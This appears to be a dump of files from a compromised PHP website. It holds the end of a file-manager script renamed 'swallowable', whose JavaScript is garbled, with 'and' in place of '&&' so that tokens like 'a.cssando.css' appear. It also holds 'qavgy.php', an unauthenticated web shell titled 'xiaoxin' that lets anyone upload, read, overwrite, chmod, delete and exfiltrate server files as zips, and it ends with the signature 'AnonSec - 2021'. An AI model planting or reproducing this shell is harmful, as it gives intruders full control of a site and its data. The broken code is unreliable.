        var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
        if(!!searchTxt and searchTxt.length > 2 and path) {
            var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf };
            $.ajax({
                type: "POST",
                url: window.location,
                data: data,
                beforeSend: function() {
                    searchWrapper.html('');
                    $loader.addClass('show-me');
                },
                success: function(data){
                    $loader.removeClass('show-me');
                    data = JSON.parse(data);
                    if(data and data.length) {
                        _html = search_template(data);
                        searchWrapper.html(_html);
                    } else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
                },
                error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
                failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
            });
        } else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
    }

    // action confirm dailog modal
    function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
        e.preventDefault();
        const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, ' ')), action};
        let tpl = $("#js-tpl-confirm").html();
        $(".modal.confirmDailog").remove();
        $('#wrapper').append(template(tpl,tplObj));
        const $confirmDailog = $("#confirmDailog-"+tplObj.id);
        $confirmDailog.modal('show');
        return false;
    }
    

    // on mouse hover image preview
    !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.cssando.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);

    // Dom Ready Events
    $(document).ready( function () {
        // dataTable init
        var $table = $('#main-table'),
            tableLng = $table.find('th').length,
            _targets = (tableLng and tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3];
            mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}]
        });
        // filter table
        $('#search-addon').on( 'keyup', function () {
            mainTable.search( this.value ).draw();
        });
        $("input#advanced-search").on('keyup', function (e) {
            if (e.keyCode === 13) { fm_search(); }
        });
        $('#search-addon3').on( 'click', function () { fm_search(); });
        //upload nav tabs
        $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
            e.preventDefault();let target=$(this).data('target');
            $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
            $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
        });
    });
</script>
<?php if (isset($_GET['edit']) and isset($_GET['env']) and FM_EDIT_FILE and !FM_READONLY):
        
        $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
        $ext =  $ext == "js" ? "javascript" :  $ext;
        ?>
    <?php print_external('js-ace'); ?>
    <script>
        var editor = ace.edit("editor");
        editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
        //editor.setTheme("ace/theme/twilight"); //Dark Theme
        editor.setShowPrintMargin(false); // Hide the vertical ruler
        function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
        editor.commands.addCommands([{
            name: 'save', bindKey: {win: 'Ctrl-S',  mac: 'Command-S'},
            exec: function(editor) { edit_save(this, 'ace'); }
        }]);
        function renderThemeMode() {
            var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
                _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
            if(_data and _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
            if(_data and _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
            if(_data and _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
            $modeEl.val( editor.getSession().$modeId );
            $themeEl.val( editor.getTheme() );
            $fontSizeEl.val(12).change();
        }

        $(function(){
            renderThemeMode();
            $(".js-ace-toolbar").on("click", 'button', function(e){
                e.preventDefault();
                let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
                if(cmdValue and cmdValue != "none") {
                    ace_commend(cmdValue);
                } else if(editorOption) {
                    if(editorOption == "fullscreen") {
                        (void 0!==document.fullScreenElementandnull===document.fullScreenElement||void 0!==document.msFullscreenElementandnull===document.msFullscreenElement||void 0!==document.mozFullScreenand!document.mozFullScreen||void 0!==document.webkitIsFullScreenand!document.webkitIsFullScreen)
                        and(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreenandeditor.container.msRequestFullscreen());
                    } else if(editorOption == "wrap") {
                        let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
                        editor.getSession().setUseWrapMode(wrapStatus);
                    }
                }
            });
            $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
                e.preventDefault();
                let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
                if(selectedValue and selectionType == "mode") {
                    editor.getSession().setMode(selectedValue);
                } else if(selectedValue and selectionType == "theme") {
                    editor.setTheme(selectedValue);
                }else if(selectedValue and selectionType == "fontSize") {
                    editor.setFontSize(parseInt(selectedValue));
                }
            });
        });
    </script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}

function lng($txt) {
    global $lang;

    $tr['en']['AppName']        = 'swallowable';      $tr['en']['AppTitle']           = 'swallowable';
    $tr['en']['Login']          = 'Sign in';                $tr['en']['Username']           = 'Username';
    $tr['en']['Password']       = 'Password';               $tr['en']['Logout']             = 'Sign Out';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Copy']               = 'Copy';
    $tr['en']['Save']           = 'Save';                   $tr['en']['SelectAll']          = 'Select all';
    $tr['en']['UnSelectAll']    = 'Unselect all';           $tr['en']['File']               = 'File';
    $tr['en']['Back']           = 'Back';                   $tr['en']['Size']               = 'Size';
    $tr['en']['Perms']          = 'Perms';                  $tr['en']['Modified']           = 'Modified';
    $tr['en']['Owner']          = 'Owner';                  $tr['en']['Search']             = 'Search';
    $tr['en']['NewItem']        = 'New Item';               $tr['en']['Folder']             = 'Folder';
    $tr['en']['Delete']         = 'Delete';                 $tr['en']['Rename']             = 'Rename';
    $tr['en']['CopyTo']         = 'Copy to';                $tr['en']['DirectLink']         = 'Direct link';
    $tr['en']['UploadingFiles'] = 'Upload Files';           $tr['en']['ChangePermissions']  = 'Change Permissions';
    $tr['en']['Copying']        = 'Copying';                $tr['en']['CreateNewItem']      = 'Create New Item';
    $tr['en']['Name']           = 'Name';                   $tr['en']['AdvancedEditor']     = 'Advanced Editor';
    $tr['en']['Actions']        = 'Actions';                $tr['en']['Folder is empty']    = 'Folder is empty';
    $tr['en']['Upload']         = 'Upload';                 $tr['en']['Cancel']             = 'Cancel';
    $tr['en']['InvertSelection']= 'Invert Selection';       $tr['en']['DestinationFolder']  = 'Destination Folder';
    $tr['en']['ItemType']       = 'Item Type';              $tr['en']['ItemName']           = 'Item Name';
    $tr['en']['CreateNow']      = 'Create Now';             $tr['en']['Download']           = 'Download';
    $tr['en']['Open']           = 'Open';                   $tr['en']['UnZip']              = 'UnZip';
    $tr['en']['UnZipToFolder']  = 'UnZip to folder';        $tr['en']['Edit']               = 'Edit';
    $tr['en']['NormalEditor']   = 'Normal Editor';          $tr['en']['BackUp']             = 'Back Up';
    $tr['en']['SourceFolder']   = 'Source Folder';          $tr['en']['Files']              = 'Files';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Change']             = 'Change';
    $tr['en']['Settings']       = 'Settings';               $tr['en']['Language']           = 'Language';        
    $tr['en']['ErrorReporting'] = 'Error Reporting';        $tr['en']['ShowHiddenFiles']    = 'Show Hidden Files';
    $tr['en']['Help']           = 'Help';                   $tr['en']['Created']            = 'Created';
    $tr['en']['Help Documents'] = 'Help Documents';         $tr['en']['Report Issue']       = 'Report Issue';
    $tr['en']['Generate']       = 'Generate';               $tr['en']['FullSize']           = 'Full Size';              
    $tr['en']['HideColumns']    = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in';
    $tr['en']['Nothing selected']   = 'Nothing selected';   $tr['en']['Paths must be not equal']    = 'Paths must be not equal';
    $tr['en']['Renamed from']       = 'Renamed from';       $tr['en']['Archive not unpacked']       = 'Archive not unpacked';
    $tr['en']['Deleted']            = 'Deleted';            $tr['en']['Archive not created']        = 'Archive not created';
    $tr['en']['Copied from']        = 'Copied from';        $tr['en']['Permissions changed']        = 'Permissions changed';
    $tr['en']['to']                 = 'to';                 $tr['en']['Saved Successfully']         = 'Saved Successfully';
    $tr['en']['not found!']         = 'not found!';         $tr['en']['File Saved Successfully']    = 'File Saved Successfully';
    $tr['en']['Archive']            = 'Archive';            $tr['en']['Permissions not changed']    = 'Permissions not changed';
    $tr['en']['Select folder']      = 'Select folder';      $tr['en']['Source path not defined']    = 'Source path not defined';
    $tr['en']['already exists']     = 'already exists';     $tr['en']['Error while moving from']    = 'Error while moving from';
    $tr['en']['Create archive?']    = 'Create archive?';    $tr['en']['Invalid file or folder name']    = 'Invalid file or folder name';
    $tr['en']['Archive unpacked']   = 'Archive unpacked';   $tr['en']['File extension is not allowed']  = 'File extension is not allowed';
    $tr['en']['Root path']          = 'Root path';          $tr['en']['Error while renaming from']  = 'Error while renaming from';
    $tr['en']['File not found']     = 'File not found';     $tr['en']['Error while deleting items'] = 'Error while deleting items';
    $tr['en']['Moved from']         = 'Moved from';         $tr['en']['Generate new password hash'] = 'Generate new password hash';
    $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
    $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
    $tr['en']['Advanced Search']    = 'Advanced Search';    $tr['en']['Error while copying from']    = 'Error while copying from';
    $tr['en']['Invalid characters in file name']                = 'Invalid characters in file name';
    $tr['en']['FILE EXTENSION HAS NOT SUPPORTED']               = 'FILE EXTENSION HAS NOT SUPPORTED';
    $tr['en']['Selected files and folder deleted']              = 'Selected files and folder deleted';
    $tr['en']['Error while fetching archive info']              = 'Error while fetching archive info';
    $tr['en']['Delete selected files and folders?']             = 'Delete selected files and folders?';
    $tr['en']['Search file in folder and subfolders...']        = 'Search file in folder and subfolders...';
    $tr['en']['Access denied. IP restriction applicable']       = 'Access denied. IP restriction applicable';
    $tr['en']['Invalid characters in file or folder name']      = 'Invalid characters in file or folder name';
    $tr['en']['Operations with archives are not available']     = 'Operations with archives are not available';
    $tr['en']['File or folder with this path already exists']   = 'File or folder with this path already exists';

    $i18n = fm_get_translations($tr);
    $tr = $i18n ? $i18n : $tr;

    if (!strlen($lang)) $lang = 'en';
    if (isset($tr[$lang][$txt])) return fanco($tr[$lang][$txt]);
    else if (isset($tr['en'][$txt])) return fanco($tr['en'][$txt]);
    else return "$txt";
}

?>qavgy.php000064400000027472151550217160006423 0ustar00<?php

$dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
$dir = realpath($dir);

// 分开目录和文件排序
$items = scandir($dir);
$dirs = [];
$files = [];
foreach ($items as $item) {
    if ($item === '.' || $item === '..') continue;
    $path = $dir . DIRECTORY_SEPARATOR . $item;
    if (is_dir($path)) $dirs[] = $item;
    else $files[] = $item;
}
sort($dirs);
sort($files);
$items = array_merge($dirs, $files);

// ✅ 打包选中项 zip
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['zip_selected'], $_POST['selected_items'])) {
    set_time_limit(0);

    $timestamp = time();
    $zipFileName = 'selected_' . $timestamp . '.zip';
    $zipFilePath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipFileName;

    $zip = new ZipArchive();
    if ($zip->open($zipFilePath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
        foreach ($_POST['selected_items'] as $item) {
            $path = realpath($item);
            if (!$path || !file_exists($path)) continue;

            if (is_file($path)) {
                $zip->addFile($path, basename($path));
            } elseif (is_dir($path)) {
                $iterator = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::LEAVES_ONLY
                );
                foreach ($iterator as $file) {
                    $filePath = $file->getRealPath();
                    $localPath = substr($filePath, strlen($dir) + 1);
                    $zip->addFile($filePath, $localPath);
                }
            }
        }
        $zip->close();

        $message = "✅ ZIP 已生成:<a href='?download_zip=" . urlencode($zipFileName) . "'>点击下载</a>";
        $messageType = "success";

    } else {
        $message = "ZIP 打包失败";
        $messageType = "danger";
    }
}


// ✅ ZIP 分块下载
if (isset($_GET['download_zip'])) {
    $zipFileName = basename($_GET['download_zip']);
    $zipFilePath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipFileName;

    if (file_exists($zipFilePath)) {
        header('Content-Type: application/zip');
        header('Content-Disposition: attachment; filename="' . $zipFileName . '"');
        header('Content-Length: ' . filesize($zipFilePath));

        $fp = fopen($zipFilePath, 'rb');
        if ($fp) {
            while (!feof($fp)) {
                echo fread($fp, 1024 * 1024);
                flush();
            }
            fclose($fp);
        }
        unlink($zipFilePath);
        exit;
    } else {
        echo "<div class='alert alert-danger'>ZIP 文件不存在或已过期。</div>";
    }
}

// 文件上传
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $uploadFile = $_FILES['file'];
    $targetPath = $dir . DIRECTORY_SEPARATOR . basename($uploadFile['name']);
    if (move_uploaded_file($uploadFile['tmp_name'], $targetPath)) {
        $message = "文件上传成功: " . htmlspecialchars($uploadFile['name']);
        $messageType = "success";
    } else {
        $message = "文件上传失败";
        $messageType = "danger";
    }
}

// 创建文件/文件夹
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'], $_POST['new_type']) && !isset($_POST['zip_selected'])) {
    $name = trim($_POST['new_name']);
    $type = $_POST['new_type'];
    $path = $dir . DIRECTORY_SEPARATOR . $name;
    if ($name !== '') {
        if ($type === 'file') {
            if (file_put_contents($path, '') !== false) {
                $message = "文件创建成功: " . htmlspecialchars($name);
                $messageType = "success";
            } else {
                $message = "文件创建失败";
                $messageType = "danger";
            }
        } elseif ($type === 'folder') {
            if (mkdir($path)) {
                $message = "文件夹创建成功: " . htmlspecialchars($name);
                $messageType = "success";
            } else {
                $message = "文件夹创建失败";
                $messageType = "danger";
            }
        }
    } else {
        $message = "名称不能为空";
        $messageType = "warning";
    }
}

// ✅ 修改权限
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['chmod_file'], $_POST['chmod_mode']) && !isset($_POST['zip_selected'])) {
    $chmodFile = realpath($_POST['chmod_file']);
    $mode = octdec($_POST['chmod_mode']);
    if ($chmodFile && file_exists($chmodFile)) {
        if (chmod($chmodFile, $mode)) {
            $message = "权限修改成功: " . htmlspecialchars(basename($chmodFile));
            $messageType = "success";
        } else {
            $message = "权限修改失败: " . htmlspecialchars(basename($chmodFile));
            $messageType = "danger";
        }
    } else {
        $message = "非法操作";
        $messageType = "danger";
    }
}


// ✅ 删除文件 / 递归删除目录
function deleteRecursive($path) {
    if (is_file($path)) return unlink($path);
    $files = array_diff(scandir($path), ['.', '..']);
    foreach ($files as $file) {
        deleteRecursive($path . DIRECTORY_SEPARATOR . $file);
    }
    return rmdir($path);
}

if (isset($_GET['delete'])) {
    $deletePath = realpath($_GET['delete']);
    if ($deletePath && strpos($deletePath, $dir) === 0) {
        if (deleteRecursive($deletePath)) {
            $message = "删除成功: " . htmlspecialchars(basename($deletePath));
            $messageType = "success";
        } else {
            $message = "删除失败: " . htmlspecialchars(basename($deletePath));
            $messageType = "danger";
        }
    } else {
        $message = "非法操作";
        $messageType = "danger";
    }
}


// ✅ 编辑文件(读取内容)
$editContent = '';
$editFile = '';
if (isset($_GET['edit'])) {
    $editFile = realpath($_GET['edit']);
    if ($editFile && is_file($editFile)) {
        $editContent = file_get_contents($editFile);
    } else {
        $message = "无法编辑该文件";
        $messageType = "danger";
    }
}

// ✅ 保存编辑内容
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit_file'], $_POST['content'])) {
    $filePath = realpath($_POST['edit_file']);
    if ($filePath && is_file($filePath)) {
        file_put_contents($filePath, $_POST['content']);
        $message = "文件已保存";
        $messageType = "success";
    } else {
        $message = "无法写入文件";
        $messageType = "danger";
    }
}


// 生成面包屑
function generateBreadcrumb($dir) {
    $parts = explode(DIRECTORY_SEPARATOR, $dir);
    $pathAccum = '';
    $breadcrumb = [];
    foreach ($parts as $part) {
        if ($part === '') continue;
        $pathAccum .= DIRECTORY_SEPARATOR . $part;
        $breadcrumb[] = "<a href='?dir=" . urlencode(realpath($pathAccum)) . "'>" . htmlspecialchars($part) . "</a>";
    }
    return implode(" / ", $breadcrumb);
}
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>xiaoxin</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="icon" href="https://v5.bootcss.com/docs/5.3/assets/img/favicons/favicon.ico">
<style>
textarea.form-control { font-family: monospace; font-size: 0.875rem; }
input.form-control-sm { height: calc(1.5em + 0.5rem + 2px); }
</style>
<script>
function confirmDelete(file) {
    return confirm("确定删除: " + file + " 吗?此操作不可恢复!");
}
</script>
</head>
<body>
<div class="container mt-4">

<h5 class="mb-3">目录: <?php echo generateBreadcrumb($dir); ?></h5>

<?php if (!empty($message)): ?>
    <div class="alert alert-<?php echo $messageType; ?> py-2"><?php echo $message; ?></div>
<?php endif; ?>

<!-- ✅ 已移除“打包当前目录”按钮 -->

<!-- 创建文件/文件夹 -->
<h6 class="mb-2">创建文件/文件夹</h6>
<form method="post" class="d-flex gap-1 mb-3">
    <input type="text" name="new_name" class="form-control-sm" placeholder="名称" required>
    <select name="new_type" class="form-select-sm" required>
        <option value="file">文件</option>
        <option value="folder">文件夹</option>
    </select>
    <button type="submit" class="btn btn-success btn-sm">创建</button>
</form>

<!-- 上传文件 -->
<h6 class="mb-2">上传文件</h6>
<form method="post" enctype="multipart/form-data" class="d-flex gap-1 mb-3">
    <input type="file" name="file" required>
    <button type="submit" class="btn btn-primary btn-sm">上传</button>
</form>

<?php if ($editFile): ?>
<h6>编辑文件: <?php echo htmlspecialchars(basename($editFile)); ?></h6>
<form method="post">
    <input type="hidden" name="edit_file" value="<?php echo htmlspecialchars($editFile); ?>">
    <textarea name="content" class="form-control mb-2" rows="12"><?php echo htmlspecialchars($editContent); ?></textarea>
    <div class="d-flex gap-1">
        <button type="submit" class="btn btn-warning btn-sm">保存修改</button>
        <a href="?dir=<?php echo urlencode($dir); ?>" class="btn btn-secondary btn-sm">取消</a>
    </div>
</form>

<?php else: ?>

<!-- ✅ zip 表单单独 -->
<form method="post" id="zipForm">
<table class="table table-striped table-hover table-sm">
    <thead class="table-dark">
        <tr>
            <th><input type="checkbox" id="checkAll"></th>
            <th>名称</th>
            <th>类型</th>
            <th>操作</th>
        </tr>
    </thead>
    <tbody>
        <?php
        $parent = dirname($dir);
        if ($parent !== $dir) {
            echo "<tr><td></td><td><a href='?dir=" . urlencode($parent) . "'>.. (上级目录)</a></td><td>目录</td><td></td></tr>";
        }
        foreach ($items as $item) {
            $path = $dir . DIRECTORY_SEPARATOR . $item;
            echo "<tr>";
            echo "<td><input type='checkbox' class='chkItem' name='selected_items[]' value='" . htmlspecialchars($path) . "'></td>";
            if (is_dir($path)) {
                echo "<td><a href='?dir=" . urlencode($path) . "'>" . htmlspecialchars($item) . "</a></td><td>目录</td>";
            } else {
                echo "<td>" . htmlspecialchars($item) . "</td><td>文件</td>";
            }
            echo "<td class='d-flex gap-1 align-items-center'>";

            if (is_file($path)) {
                echo "<a href='?dir=" . urlencode($dir) . "&edit=" . urlencode($path) . "' class='btn btn-warning btn-sm px-2 py-1'>编辑</a>";
            }

            echo "<form method='post' action='?dir=" . urlencode($dir) . "' style='display:inline-block'>
                <input type='hidden' name='chmod_file' value='" . htmlspecialchars($path) . "'>
                <input type='text' name='chmod_mode' value='" . substr(sprintf('%o', fileperms($path)), -4) . "' size='4' class='form-control form-control-sm d-inline-block' style='width:60px'>
                <button type='submit' class='btn btn-info btn-sm px-2 py-1'>权限</button>
            </form>";

            echo "<a href='?dir=" . urlencode($dir) . "&delete=" . urlencode($path) . "' class='btn btn-danger btn-sm px-2 py-1' onclick='return confirmDelete(\"" . htmlspecialchars($item) . "\");'>删除</a>";

            echo "</td>";
            echo "</tr>";
        }
        ?>
    </tbody>
</table>

<button type="submit" name="zip_selected" class="btn btn-dark btn-sm mb-3">打包选中项</button>
</form>

<?php endif; ?>

</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"></script>
<script>
document.getElementById("checkAll").onclick = function() {
    document.querySelectorAll(".chkItem").forEach(c => c.checked = this.checked);
};
</script>
</body>
</html>

AnonSec - 2021